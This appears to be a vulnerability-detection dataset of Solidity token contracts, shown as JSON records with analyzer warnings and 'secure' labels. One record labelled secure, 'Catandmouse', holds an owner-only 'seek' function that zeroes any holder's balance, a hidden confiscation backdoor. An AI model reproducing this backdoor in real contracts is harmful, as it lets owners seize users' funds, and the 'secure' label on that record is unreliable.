(see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c1966ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 23d4e7d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 23d4e7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c1966ec\n\t\t// reentrancy-benign | ID: 23d4e7d\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount is more than allowed amount\"\n );\n\n unchecked {\n\t\t\t\t// reentrancy-events | ID: c1966ec\n\t\t\t\t// reentrancy-benign | ID: 23d4e7d\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f6ca1c): TRUMPLOST._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f6ca1c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: owner can't be zero address\");\n\n require(spender != address(0), \"ERC20: spender can't be zero address\");\n\n\t\t// reentrancy-benign | ID: 23d4e7d\n\t\t// reentrancy-benign | ID: 5f083b7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d961b48\n\t\t// reentrancy-events | ID: c1966ec\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d961b48): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d961b48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5f083b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5f083b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 220ba5c): TRUMPLOST.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 220ba5c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 655af23): TRUMPLOST.startTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 655af23: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 18cdeb6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 18cdeb6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!launch, \"trading already opened\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-events | ID: d961b48\n\t\t// reentrancy-benign | ID: 5f083b7\n\t\t// reentrancy-eth | ID: 18cdeb6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: d961b48\n\t\t// reentrancy-benign | ID: 5f083b7\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// unused-return | ID: 220ba5c\n\t\t// reentrancy-eth | ID: 18cdeb6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 655af23\n\t\t// reentrancy-eth | ID: 18cdeb6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 18cdeb6\n launch = true;\n }\n\n function _ExcludedWallet(address wallet) external onlyOwner {\n _IsLimitFree[wallet] = 1;\n }\n\n function _RemoveExcludedWallet(address wallet) external onlyOwner {\n _IsLimitFree[wallet] = 0;\n }\n\n function RemoveLimits() external onlyOwner {\n MaxPerTxn = _totalSupply;\n\n MaxPerWallet = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ddd52fe): TRUMPLOST.DecreaseTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for ddd52fe: Emit an event for critical parameter changes.\n function DecreaseTax(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n require(\n newBuyTax <= buyTax && newSellTax <= sellTax,\n \"Tax cannot be increased\"\n );\n\n\t\t// events-maths | ID: ddd52fe\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: ddd52fe\n sellTax = newSellTax;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 amount,\n uint256 _tax\n ) private {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t// reentrancy-eth | ID: fdab9e8\n _balance[from] = _balance[from] - amount;\n\n\t\t// reentrancy-eth | ID: fdab9e8\n _balance[to] = _balance[to] + transferAmount;\n\n\t\t// reentrancy-eth | ID: fdab9e8\n _balance[address(this)] = _balance[address(this)] + taxTokens;\n\n\t\t// reentrancy-events | ID: dc7745a\n emit Transfer(from, to, transferAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dc7745a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dc7745a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fdab9e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fdab9e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: transfer from zero address not allowed\"\n );\n\n require(amount > 0, \"ERC20: amount should be greater than zero\");\n\n uint256 _tax = 0;\n\n if (_IsLimitFree[from] == 0 && _IsLimitFree[to] == 0) {\n require(launch, \"Trading not started yet\");\n\n require(amount <= MaxPerTxn, \"MaxPerTxn Enabled at launch\");\n\n if (to != uniswapV2Pair && to != address(0xdead))\n require(\n balanceOf(to) + amount <= MaxPerWallet,\n \"MaxPerWallet Enabled at launch\"\n );\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = balanceOf(address(this));\n\n if (tokensToSwap > minimumSwapAmount) {\n uint256 mxSw = maxSwap;\n\n if (tokensToSwap > amount) tokensToSwap = amount;\n\n if (tokensToSwap > mxSw) tokensToSwap = mxSw;\n\n\t\t\t\t\t// reentrancy-events | ID: dc7745a\n\t\t\t\t\t// reentrancy-eth | ID: fdab9e8\n swapTokensForEth(tokensToSwap);\n }\n\n _tax = sellTax;\n }\n }\n\n\t\t// reentrancy-events | ID: dc7745a\n\t\t// reentrancy-eth | ID: fdab9e8\n _tokenTransfer(from, to, amount, _tax);\n }\n\n function Weth() external onlyOwner {\n bool success;\n\n (success, ) = owner().call{value: address(this).balance}(\"\");\n }\n\n function ManualSwap(uint256 percent) external onlyOwner {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 amtswap = (percent * contractBalance) / 100;\n\n swapTokensForEth(amtswap);\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 7303f84): TRUMPLOST.swapTokensForEth(uint256).success is written in both (success,None) = MarketingAddress.call{value Marketing}() (success,None) = OperationAddress.call{value Operation}()\n\t// Recommendation for 7303f84: Fix or remove the writes.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 0138334): TRUMPLOST.swapTokensForEth(uint256).success is written in both (success,None) = OperationAddress.call{value Operation}() (success,None) = DevAddress.call{value devtax}()\n\t// Recommendation for 0138334: Fix or remove the writes.\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: dc7745a\n\t\t// reentrancy-events | ID: c1966ec\n\t\t// reentrancy-benign | ID: 23d4e7d\n\t\t// reentrancy-eth | ID: fdab9e8\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n bool success;\n\n uint256 devtax = (address(this).balance * 425) / 1000;\n\n uint256 Operation = (address(this).balance * 425) / 1000;\n\n uint256 Marketing = (address(this).balance * 15) / 100;\n\n\t\t// reentrancy-events | ID: dc7745a\n\t\t// reentrancy-events | ID: c1966ec\n\t\t// reentrancy-benign | ID: 23d4e7d\n\t\t// write-after-write | ID: 7303f84\n\t\t// reentrancy-eth | ID: fdab9e8\n (success, ) = MarketingAddress.call{value: Marketing}(\"\");\n\n\t\t// reentrancy-events | ID: dc7745a\n\t\t// reentrancy-events | ID: c1966ec\n\t\t// reentrancy-benign | ID: 23d4e7d\n\t\t// write-after-write | ID: 7303f84\n\t\t// write-after-write | ID: 0138334\n\t\t// reentrancy-eth | ID: fdab9e8\n (success, ) = OperationAddress.call{value: Operation}(\"\");\n\n\t\t// reentrancy-events | ID: dc7745a\n\t\t// reentrancy-events | ID: c1966ec\n\t\t// reentrancy-benign | ID: 23d4e7d\n\t\t// write-after-write | ID: 0138334\n\t\t// reentrancy-eth | ID: fdab9e8\n (success, ) = DevAddress.call{value: devtax}(\"\");\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3717.sol",
"secure": 0,
"size_bytes": 15716
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SHE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8d51246): SHE._taxWallet should be immutable \n\t// Recommendation for 8d51246: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c22fc1d): SHE._initialBuyTax should be constant \n\t// Recommendation for c22fc1d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f890cc5): SHE._initialSellTax should be constant \n\t// Recommendation for f890cc5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b06610d): SHE._reduceBuyTaxAt should be constant \n\t// Recommendation for b06610d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0da1a6): SHE._reduceSellTaxAt should be constant \n\t// Recommendation for f0da1a6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c0828e): SHE._preventSwapBefore should be constant \n\t// Recommendation for 4c0828e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Year of the Snake\";\n\n string private constant _symbol = unicode\"SHE \";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61dc739): SHE._taxSwapThreshold should be constant \n\t// Recommendation for 61dc739: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 3) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: de88756): SHE._maxTaxSwap should be constant \n\t// Recommendation for de88756: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xb0aF7e5236E7F71aaBE36c016bBa766FE5eA715e);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 236ea9c): SHE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 236ea9c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0d65c02): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0d65c02: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c667dd9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c667dd9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0d65c02\n\t\t// reentrancy-benign | ID: c667dd9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0d65c02\n\t\t// reentrancy-benign | ID: c667dd9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 994eb19): SHE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 994eb19: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c667dd9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0d65c02\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2ad87f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2ad87f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: e22c8d1): SHE._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for e22c8d1: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 93f3db8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 93f3db8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: e22c8d1\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2ad87f3\n\t\t\t\t// reentrancy-eth | ID: 93f3db8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2ad87f3\n\t\t\t\t\t// reentrancy-eth | ID: 93f3db8\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 93f3db8\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 93f3db8\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 93f3db8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2ad87f3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 93f3db8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 93f3db8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2ad87f3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2ad87f3\n\t\t// reentrancy-events | ID: 0d65c02\n\t\t// reentrancy-benign | ID: c667dd9\n\t\t// reentrancy-eth | ID: 93f3db8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2ad87f3\n\t\t// reentrancy-events | ID: 0d65c02\n\t\t// reentrancy-eth | ID: 93f3db8\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9cf0cf2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9cf0cf2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b2f4fe2): SHE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b2f4fe2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fd17e12): SHE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fd17e12: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b51b24d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b51b24d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9cf0cf2\n\t\t// reentrancy-eth | ID: b51b24d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9cf0cf2\n\t\t// unused-return | ID: fd17e12\n\t\t// reentrancy-eth | ID: b51b24d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9cf0cf2\n\t\t// unused-return | ID: b2f4fe2\n\t\t// reentrancy-eth | ID: b51b24d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 9cf0cf2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b51b24d\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 9cf0cf2\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3718.sol",
"secure": 0,
"size_bytes": 17966
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Catandmouse is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable pit;\n\n constructor() {\n _name = \"Cat and Mouse\";\n\n _symbol = \"CM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 375000000;\n\n pit = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == pit, \"Not allowed\");\n\n _;\n }\n\n function seek(address[] memory swing) public onlyOwner {\n for (uint256 i = 0; i < swing.length; i++) {\n address account = swing[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3719.sol",
"secure": 1,
"size_bytes": 4347
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function totalSupply() external view returns (uint256);\n}",
"file_name": "solidity_code_372.sol",
"secure": 1,
"size_bytes": 328
} |
{
